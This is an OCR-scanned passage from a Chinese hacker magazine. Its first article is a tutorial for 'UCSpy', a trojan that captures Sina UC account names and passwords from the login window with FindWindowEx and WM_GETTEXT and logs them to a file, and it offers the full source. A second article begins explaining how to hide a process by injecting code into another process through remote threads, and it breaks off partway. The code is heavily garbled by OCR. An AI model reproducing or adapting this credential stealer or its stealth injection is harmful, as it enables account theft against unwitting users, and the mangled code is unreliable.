盗号研究怎能缺少新浪UC
适合读者编程爱好者
前置知识VC
.
盗/T/-/号研究——|
售锯少新??'
文/图
近年来,即时通讯工具(1M)是盗号木马猖獗 的重灾区.树大招风的腾讯QQ使出浑身解数,先后 使用软键盘,键盘加密等技术来招架防御.其他lM 工具呢7新浪uC,网易泡泡,雅虎通,挨个儿看过 去,形势不容乐观啊.俗话说,知己知彼,百战不 殆,本文就以新浪uC为例,介绍一下账号和密码的 记录过程.
窖体结阚分祈
我选用的编程工具是VC6.0,窗体结构分析工 具是VisuaIStudiO自带的Spy++.首先打开新浪 UC2006,填上账号和密码.再打开Spy++,点击菜 单"搜索一>查找"窗El,拖动探测器指针到UC登录 框上.得到它的窗El类名为TLOginFOrm(原来是 Borland师兄啊).再把探测器指针拖到密码框上, 得到密码框的类名为TUCFlatEdit,点确定,观察树 形窗体结构,发现密码框类名前的China正是我 输入的密码,如图1所示.
uc在Spy++中的窗体结构呈有规律的阶梯状排 列,且大部分父窗El有唯一的子窗El,这给我们从 最外层查找密码框带来了方便.如最外层窗El类名
为TIoginForm,唯一子窗El类名为TPanel,再向下, 唯一子窗El类名为TUCTabControI,TUCTabSheet.
TUCTabSheet的子窗El有两个,且类名均为 ImagePaneI,但窗El标题一个是Logolmage,另一个 是lmagePaneI,不难判断,后者是我们需要的.再向 下,又嵌套了一组TUCTabControl和TUCTabSheet,其 下有两个子窗El,类名为UCFlatEdit的就是密码框, 类名为TXPComboBox的正是账号下拉框. 对于VC来说,由父窗El查找子窗El,我们可以 使用FindWindowEx函数来实现,其函数原型如下. HWNDFdWlndowEx(
HWNDhwndParent,//爻奄口句辆
HWNDhwndClKIdAfter,//前驱子宙口句辆
LPCTSTRlpszClass,f?类%
LPCTSTRl~zWindow//富口标题
其中第二个参数hwndChiIdAfte@D果赋值NULL, 则从第一个子窗El开始找起而第三,第四个参 数,在不知其中的一个或两个值时,均可赋值 NULL.
程奇
首先用一个定时器来监视活动窗口,如果活动 窗El的类名为TLoginForm时,则可能是UC窗El,此 时调用FindWindowEx开始一层层向下查找账号和密 码框,这一过程中任一环节失败都直接返回.如果 查找到账号和密码框,且不为空,则用两个全局变 量m—strID和m—strPWD保存.当活动窗口类名不是 TLoginForm时,则一定不是UC窗El,为了判断UC窗 El是否出现过(账号密码已被截取),此时检查上 述两个全局变量是否为空,非空则写入文件,并将
其值清空,空则继续监视.上面的思路用uML活动
图
示如图2所示.
编写代码
启动VC6.0,新建一个基于对话框的MFC程序
ij?_删
200705
圜?…照窑靠缘?I;|'_
)栏目编辑)socket)socket@hackercomca UCSpy.在CUCSpyDIg类中添加成员变量mstrlD和 m—strPWD(均为CString型).添加类成员函数
FindUC(HWNDhWnd)用以在uc窗口中查找账号和密 码窗口.添加对WM—TlMER消息的响应函数.其实 现代码如下.
voidCUCSpyDlg::OnTimer(UINTnIDEvent)
{
//T0DOAddyour鹏s?geh口n田霹rcodehere口nd/ Orcalldefat
HwNDhWnd-::GetForegroundWindow0; Caringstr0):
CStringstrShow("l);
::CetClas~Name(hWnd,str.CetBuffer(255),255);
ff(str.Find(TLc-百nFonn")>一1)
J
FindUC(hWnd);
}
e1se
f
if((!m—StrID.IsEmpty0)&&(!m_strPWD.IsEmpty(77)
{
strShow.Format0r\r\nUC号
码:%s\r\nUC密码'%s\r\n".ii].ariD,mstrPWD) //以追加方式罩人C:\ucpwd.奴t
FILE*pfile-fopen(C\ucpwdtxt",a): fwrite(strShow,1,strlen(strShow),pfile); rclose(pfile);
}
虬striD::
m_strPWD-:
T
CDialog::OnTimerfillDEvent); }
类成员函数FindUC在查找账号和密码框的过程
中,我们还需要考虑到一个问题,类名为TLoginForm
的窗口未必一定是UC的登录窗口.所以,我们在查
找每一级窗13时都要判断,如果未查找到.N,2即
返回.实现这一功能的函数代码如下
圈篇誉一2007.O5,
IIWNDhPWD-NULI:
charstrIDI100,\O",strPWD[1001:,0'': hTemi~FindWindowEx(hWnd,NULL,'~TPanel",NULl):
if(!hTemp)
retumFALSE;
hTemp-FindWindowEx(hTemp,NULI"TUCTabControl-f
NULI):
ff(!hTemp)
returnFALSE;
hTemp=FindWindowEx(hTemp,NULL,"TUCTabSheet-
NULL);
if(!hTemp)
returnFALSE;
hTemp=FindWindowEx(hTemp.NULL,"TlmagePanel" "ImagcPanel"):
ff(!hTemp)
returnFALSE:
hTenlp-FindWindowEx(hTemp,NULI,JTUCTabControl" NULL):
if(!hTemp)
returnFALSE;
hTempFindWindowEx(hTemp,NULL,-'TUCTabSheet. NULL):
if(~hTemp)
returnFA【』SE:
hiD-FindWindowEx(hTemp,NUII,TXIComboBox". NU[LT;
if(!ND)
returnFALSE:
::SendMessage(hlD,WM?GETTExT100,(LPARAM)striD); hPWD-FindWindowEx(hTempNULL,"TUCFlatEdit", NULL);
ff(~h_PWD)
retumFALSE:
::SendMessage(hPWD,wMGETTEXT100,(LPARAM) strFW1));//r.TetWindow'fexl~strlD) if(str/D[0]!-\&&strPwI)[011='\0) t
m_s'trID.Format("%s",strID);
nLstrPwD.Format(%.strPWD);
returnTRUE;
1
retumFALSE;
}
在程序的初始化过程中,我们还要将全局变量 置为空.并启动定时器.实现代码如下.
稿结
\
蠹MM:NGA@NALYSsocketsockethackercomEcrl曩圈瑶)栏目编辑))@麴豳?_函
Eli_???
细心的读者可能会发现,整个UC的登录窗口 共有4个类名为TUCFlatEdit的窗口(因为UC有4种登 录方式).而我们的窗口位置是第一个.所以. 我们可以用EnumchIdWindows来枚举所有子窗口. 在回调函数lpEnumFunC中检查窗口类名,如果是 TUCFJatEd;t.则获取其文本内容并返回FALSE.具 体实践过程.大家可以自己试试.在监视方式 上.很多人都是用枚举桌面窗口的方式来判断目 标窗口的有无这样虽然理论上更准确但我认 为.监视活动窗口足矣.难道有人能在非活动窗 口中输入字符吗7
为了兼顾VB编程者的阅读,窗口查找和文本获 取部分我没有使用MFC实现.而是采用了Win32API 来编写.在附带的源码中,同时也带有VB版的 "UCSpy".以上程序在WindowsXP+VC6中调试通 过.文中如有不足之处.欢迎大家到黑防论坛或VC 群713035中和我讨论.
(文中所涉及的程序或代码,已收录入本期光 盘杂志相关栏目;也可到黑防官方网站下载,详细 地址请看公共论坛置顶帖)J
适合读者编程爱好者
前置知识:jE编
NT系统中利用
实现无进
文/图南宁张力/StarsunYzL
在第3期杂志的木马编程DJY之系统服务一 文中,作者介绍了用远程线程将DLL插到其它进程 中运行的方法.这种方法虽然不会在系统中产生新 的进程.但是会在目标进程中多出一个DLL模块, 让人看着实在不爽.技术共享的心理促使我一定要 介绍一种更好的进程隐藏方法给读者.下面介绍的 方法是利用远程线程直接将一段代码插到目标进程 中运行.摆脱了讨厌的DLL,一旦插入,运行成 功,目前我还不知道有什么进程工具可以查看到异 常,隐蔽性极大
方法析
要创建远程线程.则远程线程函数的代码肯定 要先写入到目标进程的内存中,而内存又需要先申 请.所以整体思路为:用OpenProCess打开目标进 程用VirtualAtIocEx在目标进程中申请一块足够大的 内存用wrfePr0cessMem0ry将远程线程函数的代码 写到申请的内存中:用creafeRem0feThread创建远程 线程.
思路虽然有了.但我们还要注意两个实现的细 节问题.第一个是APJ的使用问题.我们知道.API 位于DLL中.如果远程线程函数要用到某个APJ那 么目标进程必须正确加载了相应的D_L.并且还要 知道API的地址才能调甩而远程线程函数是在本地 程序中编写的.如果像常规代码那样直接使用API.
最终编译出来得到的API地址是本地程序中的地址, 不同程序随着DLL加载位置的不同.API的地址也不 一
定一样.所以在写远程线程函数时不能直接使用 API,
而应该手动加载相应的DLL.然后获取API的地 址再调用.我们可以用LoadLibrary,GetD『0cAddress和 GetModuleHandle这3个API函数来获取其它API的地 址.但是这3个API函数的地址又从哪里获取呢7还 好,这3个API函数都位于Kernel32.dJJ中.正如木马 编程DIY之系统服务一文所说所有程序都会加载 Kernel32.dlJ,并且都会加载到同一位置.因此可以在 本地程序中获取上述的3个API地址用于远程线程函 数中.第二个问题是重定位的问题.我们先来了解 一
下什么是重定位问题,看看如下的代码.
编译成机器码.其形式类似
200705
黼蛆黑客防线?啊